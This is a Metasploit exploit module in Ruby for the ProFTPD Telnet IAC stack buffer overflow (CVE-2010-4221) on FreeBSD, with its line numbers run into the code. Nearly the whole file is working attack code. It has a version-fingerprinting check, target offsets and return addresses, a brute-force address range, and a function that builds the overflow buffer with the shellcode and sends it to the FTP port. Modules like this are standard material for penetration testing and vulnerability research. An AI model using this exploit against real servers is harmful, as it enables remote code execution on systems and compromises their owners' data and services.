Path: blob/master/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Brute1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',16'Description' => %q{17This module exploits a stack-based buffer overflow in versions of ProFTPD18server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a19large number of Telnet IAC commands, an attacker can corrupt memory and20execute arbitrary code.21},22'Author' => [ 'jduck' ],23'References' => [24['CVE', '2010-4221'],25['OSVDB', '68985'],26['BID', '44562']27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30'PrependChrootBreak' => true31},32'Privileged' => true,33'Payload' => {34'Space' => 1024,35# NOTE: \xff's need to be doubled (per ftp/telnet stuff)36'BadChars' => "\x00\x0a\x0d",37'PrependEncoder' => "\x83\xec\x7f" # sub esp,0x7f (fix esp)38},39'Platform' => [ 'bsd' ],40'Arch' => [ ARCH_X86 ],41'Targets' => [42#43# Automatic targeting via fingerprinting44#45[ 'Automatic Targeting', { 'auto' => true } ],4647#48# This special one comes first since we dont want its index changing.49#50[51'Debug',52{53'IACCount' => 8192, # should cause crash writing off end of stack54'Offset' => 0,55'Ret' => 0x41414242,56'Writable' => 0x4343454557}58],5960#61# specific targets62#63[64'ProFTPD 1.3.2a Server (FreeBSD 8.0)',65{66'IACCount' => 1024,67'Offset' => 0x414,68# 'Ret' => 0xbfbfeac4,69'Writable' => 0x80e64a4,70'Bruteforce' =>71{72'Start' => { 'Ret' => 0xbfbffdfc },73'Stop' => { 'Ret' => 0xbfa00000 },74'Step' => 51275}76}77],78],79'DefaultTarget' => 0,80'DisclosureDate' => '2010-11-01',81'Notes' => {82'Stability' => [ CRASH_SERVICE_DOWN, ],83'Reliability' => [ REPEATABLE_SESSION, ],84'SideEffects' => [ IOC_IN_LOGS, ]85}86)87)8889register_options(90[91Opt::RPORT(21),92]93)94end9596def check97# NOTE: We don't care if the login failed here...98connect99banner = sock.get_once || ''100101# We just want the banner to check against our targets..102vprint_status("FTP Banner: #{banner.strip}")103104status = CheckCode::Safe105if banner =~ /ProFTPD (1\.3\.[23])/i106banner_array = banner.split('.')107108if banner_array.count > 0 && !banner_array[3].nil?109# gets 1 char on the third part of version number.110relnum = banner_array[2][0..0]111tmp = banner_array[2].split(' ')112# gets extra string info of version number.113# example: 1.2.3rc ('rc' string)114extra = tmp[0][1..(tmp[0].length - 1)]115if relnum == '2'116if !extra.empty?117if extra[0..1] == 'rc'118v = extra[2..extra.length].to_i119if v && v > 2120status = CheckCode::Appears121end122else123status = CheckCode::Appears124end125end126elsif relnum == '3'127if [ '', 'a', 'b', ].include?(extra)128status = CheckCode::Appears129end130end131end132end133134disconnect135return status136end137138def target139return @mytarget if @mytarget140141super142end143144def exploit145connect146147# Use a copy of the target148@mytarget = target149150if target['auto']151@mytarget = nil152153print_status('Automatically detecting the target...')154if banner && (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))155print_status("FTP Banner: #{banner.strip}")156version = m[1]157else158fail_with(Failure::NoTarget, 'No matching target')159end160161regexp = Regexp.escape(version)162targets.each do |t|163if (t.name =~ /#{regexp}/)164@mytarget = t165break166end167end168169if !@mytarget170fail_with(Failure::NoTarget, 'No matching target')171end172173print_status("Selected Target: #{@mytarget.name}")174175pl = exploit_regenerate_payload(@mytarget.platform, arch)176if !pl177fail_with(Failure::Unknown, 'Unable to regenerate payload!')178end179else180print_status("Trying target #{@mytarget.name}...")181if banner182print_status("FTP Banner: #{banner.strip}")183end184185payload186end187disconnect188189super190end191192def brute_exploit(addrs)193@mytarget ||= target194195ret = addrs['Ret']196print_status('Trying return address 0x%.8x...' % ret)197198# puts "attach and press any key"; bleh = $stdin.gets199200buf = ''201buf << 'SITE '202# NOTE: buf must be odd-lengthed prior to here.203buf << "\xff" * @mytarget['IACCount']204buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length)205buf << [206ret,207@mytarget['Writable']208].pack('V*')209buf << payload.encoded210buf << "\r\n"211212connect213sock.put(buf)214disconnect215216handler217end218end219220221